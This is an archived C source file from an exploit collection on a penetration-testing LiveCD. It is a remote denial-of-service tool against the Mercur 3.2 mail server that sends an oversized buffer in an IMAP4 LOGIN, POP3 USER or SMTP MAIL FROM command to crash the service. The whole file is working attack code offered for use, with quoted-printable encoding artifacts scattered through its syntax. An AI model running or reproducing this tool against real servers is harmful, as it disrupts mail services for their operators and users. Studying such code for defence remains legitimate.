home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mercur / mercdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  147 lines

  1.  */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <sys/socket.h>
  7. #include <sys/types.h>
  8. #include <netdb.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11.  
  12. void
  13. usage (char *progname)
  14. {
  15.   fprintf (stderr, "Usage: %s <hostname> [type]\n", progname);
  16.   fprintf (stderr, "   Type:\n");
  17.   fprintf (stderr, "      0 - IMAP4 (Default)\n");
  18.   fprintf (stderr, "      1 - POP3\n");
  19.   fprintf (stderr, "      2 - SMTP\n\n");
  20.   exit (1);
  21. }
  22.  
  23. int
  24. main (int argc, char **argv)
  25. {
  26.   char *ptr, buffer[3000], remotedos[3100];
  27.   int aux, sock, type;
  28.   struct sockaddr_in sin;
  29.   unsigned long ip;
  30.   struct hostent *he;
  31.  
  32.   fprintf (stderr,
  33.    "\n-=3D Remote DoS for Mercur 3.2 - (C) |[TDP]| - H13 Team =3D-\n");
  34.  
  35.   if (argc < 2)
  36.     usage (argv[0]);
  37.  
  38.   type =3D 0;
  39.   if (argc > 2)
  40.     type =3D atol (argv[2]);
  41.  
  42.   ptr =3D buffer;
  43.   switch (type)
  44.     {
  45.     case 1:
  46.       memset (ptr, 0, 2048);
  47.       memset (ptr, 88, 2046);
  48.       break;
  49.     default:
  50.       memset (ptr, 0, sizeof (buffer));
  51.       memset (ptr, 88, sizeof (buffer) - 2);
  52.       break;
  53.     }
  54.  
  55.   bzero (remotedos, sizeof (remotedos));
  56.  
  57.   switch (type)
  58.     {
  59.     case 1:
  60.       snprintf (remotedos, sizeof (remotedos), "USER %s\r\n\r\n\r\n", =
  61. buffer);
  62.       break;
  63.     case 2:
  64.       snprintf (remotedos, sizeof (remotedos),
  65. "MAIL FROM: %s@ThiSiSaDoS.c0m\r\n\r\n\r\n", buffer);
  66.       break;
  67.     default:
  68.       snprintf (remotedos, sizeof (remotedos), "1000 LOGIN =
  69. %s\r\n\r\n\r\n",
  70. buffer);
  71.       break;
  72.     }
  73.  
  74.   if ((sock =3D socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  75.     {
  76.       perror ("socket()");
  77.       return -1;
  78.     }
  79.  
  80.   if ((he =3D gethostbyname (argv[1])) !=3D NULL)
  81.     {
  82.       ip =3D *(unsigned long *) he->h_addr;
  83.     }
  84.   else
  85.     {
  86.       if ((ip =3D inet_addr (argv[1])) =3D=3D NULL)
  87. {
  88.   perror ("inet_addr()");
  89.   return -1;
  90. }
  91.     }
  92.  
  93.   sin.sin_family =3D AF_INET;
  94.   sin.sin_addr.s_addr =3D ip;
  95.  
  96.   switch (type)
  97.     {
  98.     case 1:
  99.       sin.sin_port =3D htons (110);
  100.       break;
  101.     case 2:
  102.       sin.sin_port =3D htons (25);
  103.       break;
  104.     default:
  105.       sin.sin_port =3D htons (143);
  106.       break;
  107.     }
  108.  
  109.   if (connect (sock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
  110.     {
  111.       perror ("connect()");
  112.       return -1;
  113.     }
  114.  
  115.   switch (type)
  116.     {
  117.     case 1:
  118.       fprintf (stderr, "\nEngaged Mercur POP3... Sending data...\n");
  119.       break;
  120.     case 2:
  121.       fprintf (stderr, "\nEngaged Mercur SMTP... Sending data...\n");
  122.       break;
  123.     default:
  124.       fprintf (stderr, "\nEngaged Mercur IMAP4... Sending data...\n");
  125.       break;
  126.     }
  127.  
  128.   if (write (sock, remotedos, strlen (remotedos)) < strlen (remotedos))
  129.     {
  130.       perror ("write()");
  131.       return -1;
  132.     }
  133.  
  134.   sleep (4);
  135.  
  136.   fprintf (stderr, "Bye Bye baby!...\n\n");
  137.   if (close (sock) < 0)
  138.     {
  139.       perror ("close()");
  140.       return -1;
  141.     }
  142.  
  143.   return (0);
  144. }
  145.  
  146.  
  147.